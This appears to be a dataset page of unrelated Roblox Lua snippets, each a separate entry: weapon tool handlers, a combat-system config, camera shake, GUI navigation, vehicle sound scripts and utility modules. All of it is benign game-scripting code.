mouse.Icon=Cursors[1]
mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
check()
equiped=true
if #Cursors>1 then
while equiped do
t=r.Stepped:wait()
wait(Firerate*.9)
end
end
end
function onUnequippedLocal(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
falsearm1:remove()
falsearm2:remove()
end
else
end
else
end
equiped=false
reloading=false
end
sp.Equipped:connect(onEquippedLocal)
sp.Unequipped:connect(onUnequippedLocal)
check()
|
----------------------------------------------------------------------------------------------------
--------------------=[ RCM Settings ]=-----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
-- Command Settings
--- List of user IDs able to use regen and clear commands
,HostList = { --- Game owners automatically have perms, commands always work in studio
57158149,
}
,HostRank = 255 --- If the game is group owned, anyone above this rank number will automatically have command perms
,CommandPrefix = "/"
-- Command List
-- /ClearGuns Removes dropped guns from workspace
-- /ResetGlass Replaces broken glass and removes shards
-- /ResetLights Fixes broken lights
-- /ResetAll Fixes both lights and glass
-- /ACSlog View kill log
-- Keybinds
,LeanLeft = Enum.KeyCode.Q
,LeanRight = Enum.KeyCode.E
,Crouch = Enum.KeyCode.C
,StandUp = Enum.KeyCode.X
,Sprint = Enum.KeyCode.LeftShift
,SlowWalk = Enum.KeyCode.Z
,Reload = Enum.KeyCode.R
,FireMode = Enum.KeyCode.V
,CheckMag = Enum.KeyCode.M
,ZeroUp = Enum.KeyCode.RightBracket
,ZeroDown = Enum.KeyCode.LeftBracket
,DropGun = Enum.KeyCode.Backspace
,SwitchSights = Enum.KeyCode.T
,ToggleLight = Enum.KeyCode.J
,ToggleLaser = Enum.KeyCode.H
,ToggleBipod = Enum.KeyCode.B
,Interact = Enum.KeyCode.G
,ToggleNVG = Enum.KeyCode.N
-- Effects Settings
,BreakLights = true --- Can break any part named "Light" with a light inside of it
,BreakGlass = true --- Can shatter glass with bullets
,GlassName = "Glass" --- Name of parts that can shatter
,ShardDespawn = 60 --- How long glass stays before being removed
,ShellLimit = 100 --- Max number of ejected shells that can be on the ground
,ShellDespawn = 0 --- Shells will be deleted after being on the ground for this amount of time, 0 = No despawn
-- Weapon Drop Settings
,WeaponDropping = true --- Enable weapon dropping with backspace?
,WeaponCollisions = false --- Allow weapons to collide with each other
,SpawnStacking = false --- Enabling this allows multiple guns to be spawned by one spawner, causing them to 'stack'
,MaxDroppedWeapons = 50 --- Max number of weapons that can be dropped at once
,PickupDistance = 7 --- Max distance from which a player can pickup guns
,DropWeaponsOnDeath = true --- Drop all guns on death
,DropWeaponsOnLeave = true --- Drop all guns when the player leaves the game
,TimeDespawn = true --- Enable a timer for weapon deletion
,WeaponDespawnTime = 180 --- If TimeDespawn is enabled, dropped guns are deleted after this time
-- Misc Settings
,AmmoBoxDespawn = 300 --- Max time ammo boxes will be on the ground
,EquipInVehicleSeat = true --- Allow players to use weapons while operating a vehicle
,EquipInSeat = true --- Allow players to use weapons in regular seats
,DisableInSeat = true --- Prevents movement keybinds from messing with vehicle scripts like blizzard
,WeaponWeight = true --- Enables the WeaponWeight setting in guns, slowing down the player while a gun is equipped
,HeadMovement = false --- Toggles head movement
}
return ServerConfig
|
--bp.Position = shelly.PrimaryPart.Position
|
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
wait(1)
end
end
|
--[[
Calls the given callback for all existing players in the game, and any that join thereafter.
Useful in situations where you want to run code for every player, even players who are already in the game.
The DemoScript uses safePlayerAdded to ensure all players in the game have a billboard with their name above their character's heads.
--]]
|
local safePlayerAdded = require(script.Parent.Parent.safePlayerAdded)
local nameBillboardGui = script.Parent.NameBillboardGui
local function addBillboardToPlayer(player: Player)
player.CharacterAdded:Connect(function(character: Model)
local billboard = nameBillboardGui:Clone()
local textLabel = billboard.TextLabel
textLabel.Text = player.Name
billboard.Enabled = true
billboard.Parent = character
end)
end
safePlayerAdded(addBillboardToPlayer)
|
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
Shake.Create = function(length, strength, smoothness, fadeIn)
--- Only works with character-bound cameras
if _L.Player.Get("Camera").CameraType == Enum.CameraType.Scriptable then
return
end
--
shakeId = shakeId + 1
length = length or 1
strength = strength or 1
smoothness = smoothness or 0
fadeIn = fadeIn ~= nil and fadeIn or false
--
coroutine.wrap(function()
local localShakeId = shakeId
local startTick = tick()
local cameraOffset
local lastTickIncrement = tick()
--
while (shakeId == localShakeId and (tick() - startTick) <= length) do
local timeFloat = (tick() - startTick) / length
--
if not cameraOffset or tick() - lastTickIncrement >= (smoothness / 10) then
lastTickIncrement = tick()
local timeSine = (fadeIn and math.sin(timeFloat * math.pi) or math.sin((0.5 + (timeFloat / 2)) * math.pi))
--
local x = rng:NextNumber(-timeSine, timeSine) * timeSine * strength
local y = rng:NextNumber(-timeSine, timeSine) * timeSine * strength
local z = rng:NextNumber(-timeSine, timeSine) * timeSine * strength
--
cameraOffset = Vector3.new(x, y, z)
--- Haptic feedback (controller shaking)
if _L.Variables.Console and _L.Services.HapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) then
local shakingAlpha = math.min(strength, 1) * timeSine
_L.Services.HapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Large, shakingAlpha)
end
end
--
_L.Player.Get("Humanoid").CameraOffset = _L.Player.Get("Humanoid").CameraOffset:Lerp(cameraOffset, (1 - smoothness))
_L.Services.RunService.RenderStepped:Wait()
end
--
_L.Player.Get("Humanoid").CameraOffset = Vector3.new(0, 0, 0)
--
if _L.Variables.Console and _L.Services.HapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) then
_L.Services.HapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Large, 0)
end
end)()
end
|
--[[
streamable = Streamable.new(parent: Instance, childName: string)
streamable:Observe(handler: (child: Instance, janitor: Janitor) -> void): Connection
streamable:Destroy()
--]]
|
type StreamableWithInstance = {
Instance: Instance?,
[any]: any,
}
local Janitor = require(script.Parent.Janitor)
local Signal = require(script.Parent.Signal)
local Streamable = {}
Streamable.__index = Streamable
function Streamable.new(parent: Instance, childName: string)
local self: StreamableWithInstance = {}
setmetatable(self, Streamable)
self._janitor = Janitor.new()
self._shown = Signal.new(self._janitor)
self._shownJanitor = Janitor.new()
self._janitor:Add(self._shownJanitor)
self.Instance = parent:FindFirstChild(childName)
local function OnInstanceSet()
local instance = self.Instance
if typeof(instance) == "Instance" then
self._shown:Fire(instance, self._shownJanitor)
self._shownJanitor:Add(instance:GetPropertyChangedSignal("Parent"):Connect(function()
if not instance.Parent then
self._shownJanitor:Cleanup()
end
end))
self._shownJanitor:Add(function()
if self.Instance == instance then
self.Instance = nil
end
end)
end
end
local function OnChildAdded(child: Instance)
if child.Name == childName and not self.Instance then
self.Instance = child
OnInstanceSet()
end
end
self._janitor:Add(parent.ChildAdded:Connect(OnChildAdded))
if self.Instance then
OnInstanceSet()
end
return self
end
function Streamable:Observe(handler)
if self.Instance then
task.spawn(handler, self.Instance, self._shownJanitor)
end
return self._shown:Connect(handler)
end
function Streamable:Destroy()
self._janitor:Destroy()
end
export type Streamable = typeof(Streamable.new(workspace, "X"))
return Streamable
|
--[[
Sets rate to 0, then waits for particle lifetime before destroying, as destroying an emitter immediately
removes all it's particles as well.
]]
|
return function(particleEmitter, delay)
if not particleEmitter or not particleEmitter:IsA("ParticleEmitter") then
return
end
coroutine.wrap(
function()
if delay and tonumber(delay) then
wait(delay)
end
particleEmitter.Rate = 0
wait(particleEmitter.Lifetime.Max)
particleEmitter:Destroy()
end
)()
end
|
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
|
wait(1)
Loud = 500
while true do
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.PlaybackSpeed = script.Parent.PlaybackSpeed
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Volume = (script.Parent.Volume*2)*(Loud/50)
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.RollOffMinDistance = script.Parent.RollOffMinDistance*Loud
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.SoundId = script.Parent.SoundId
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Playing = script.Parent.Playing
if script.Parent.Parent.Parent.Main.Config.SoftStart.Value == true then
if script.Parent.Parent.Parent.Main.Amps.Value == true and Loud < 500 then
Loud += 50
elseif script.Parent.Parent.Parent.Main.Amps.Value == false then
Loud = 0
end
else
Loud = 506
end
wait()
end
|
-- Ban menu open script
|
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.Parent.Main.Visible == false then
script.Parent.Parent.Main.Visible = true
else
script.Parent.Parent.Main.Visible = false
end
end)
|
--// B key, Dome Light
|
mouse.KeyDown:connect(function(key)
if key=="b" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.DomeEvent:FireServer(true)
end
end)
|
-- Navigation
|
for _,NavButton in pairs(Navigation:GetChildren()) do
if NavButton:IsA("TextButton") then
NavButton.MouseButton1Click:connect(function()
local CurrentIndex;
local NextIndex;
local NextFrame = NavButton.Name;
if NextFrame ~= CurrentFrame and not Tweening then
for _,Button in pairs(Navigation:GetChildren()) do if Button:IsA("TextButton") then Button.Style = (Button==NavButton and Enum.ButtonStyle.RobloxRoundDefaultButton) or Enum.ButtonStyle.RobloxRoundButton; end; end;
Tweening = true;
ChangeAction(EquipButton,0.1);
for Index,Frame in pairs(NavOrder) do if Frame == CurrentFrame then CurrentIndex = Index; elseif Frame == NextFrame then NextIndex = Index; end; end;
local Forward = (NextIndex>CurrentIndex and true) or false;
local CurrentFrameTweenPosition = (Forward and UDim2.new(-1,0,0,0)) or UDim2.new(1,0,0);
local NextFramePosition = (Forward and UDim2.new(1,0,0,0)) or UDim2.new(-1,0,0,0);
Main[NextFrame].Position = NextFramePosition;
Main[CurrentFrame]:TweenPosition(CurrentFrameTweenPosition,Direction,Style,Time,false);
Main[NextFrame]:TweenPosition(UDim2.new(0,0,0,0),Direction,Style,Time,false);
CurrentFrame = NextFrame;
wait(Time);
Tweening = false;
end;
end)
end;
end
Dock.Inventory.MouseButton1Click:connect(function()
if GameGUI.Processing.Visible or GameGUI.CaseOpen.Visible then return; end;
GameGUI.ChangeGameMode.Visible = false;
GameGUI.Radio.Visible = false;
InventoryFrame.Visible = not InventoryFrame.Visible;
GameGUI.Crafting.Visible = false;
GameGUI.Santa.Visible = false;
end)
Dock.Shop.MouseButton1Click:connect(function()
InventoryFrame.Visible = false;
GameGUI.Crafting.Visible = false;
GameGUI.Santa.Visible = false;
end)
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Functions = {}
function Functions.Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function Functions.GetPercentage(Start, End, Number)
return (((Number - Start) / (End - Start)) * 100)
end
function Functions.Round(Number, RoundDecimal)
local WholeNumber, Decimal = math.modf(Number)
return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))
end
function Functions.IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Functions.TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function Functions.UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Functions.CheckTableForString(Table, String)
for i, v in pairs(Table) do
if string.find(string.lower(String), string.lower(v)) then
return true
end
end
return false
end
function Functions.CheckIntangible(Hit)
local ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Bullet"}
if Hit and Hit.Parent then
if ((not Hit.CanCollide or Hit.Parent:IsA("Hat") or Functions.CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then
return true
end
end
return false
end
function Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)
local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and Functions.CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end
function Functions.CheckTableForInstance(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
function Functions.GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
if not Functions.CheckTableForInstance(Parts, v) then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function GetTotalParts(MaxParts, PossibleParts, Parts)
if MaxParts < PossibleParts then
return MaxParts
elseif Parts >= MaxParts then
return 0
elseif MaxParts >= PossibleParts then
local PartCount = (MaxParts - PossibleParts)
if Parts <= MaxParts then
PartCount = (MaxParts - Parts)
if PartCount > PossibleParts then
return PossibleParts
else
return PartCount
end
elseif PartCount >= PossibleParts then
return PossibleParts
else
return PartCount
end
end
end
function Functions.GetParts(Region, MaxParts, Ignore)
local Parts = {}
local RerunFailed = false
while #Parts < MaxParts and not RerunFailed do
local Region = Region
local PossibleParts = GetTotalParts(MaxParts, 100, #Parts)
local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)
if #PartsNearby == 0 then
RerunFailed = true
else
for i, v in pairs(PartsNearby) do
table.insert(Parts, v)
table.insert(Ignore, v)
end
end
end
return Parts
end
return Functions
|
-- Used by Fiber to simulate a try-catch.
|
local hasError = false
local caughtError = nil
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (2*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
-- ROBLOX deviation START: Package not available, setting type to object
-- local istanbul_lib_coverageModule = require(rootWorkspace["istanbul-lib-coverage"])
|
type CoverageMapData = Object
|
--[[
Uses a RigidConstraint to attach secondaryAttachment to primaryAttachment
--]]
|
local function rigidlyAttach(primaryAttachment: Attachment, secondaryAttachment: Attachment)
local rigidConstraint = Instance.new("RigidConstraint")
rigidConstraint.Attachment0 = primaryAttachment
rigidConstraint.Attachment1 = secondaryAttachment
rigidConstraint.Parent = secondaryAttachment.Parent
rigidConstraint.Enabled = true
return rigidConstraint
end
return rigidlyAttach
|
--!nonstrict
--[[
ClassicCamera - Classic Roblox camera control module
2018 Camera Update - AllYourBlox
Note: This module also handles camera control types Follow and Track, the
latter of which is currently not distinguished from Classic
--]]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.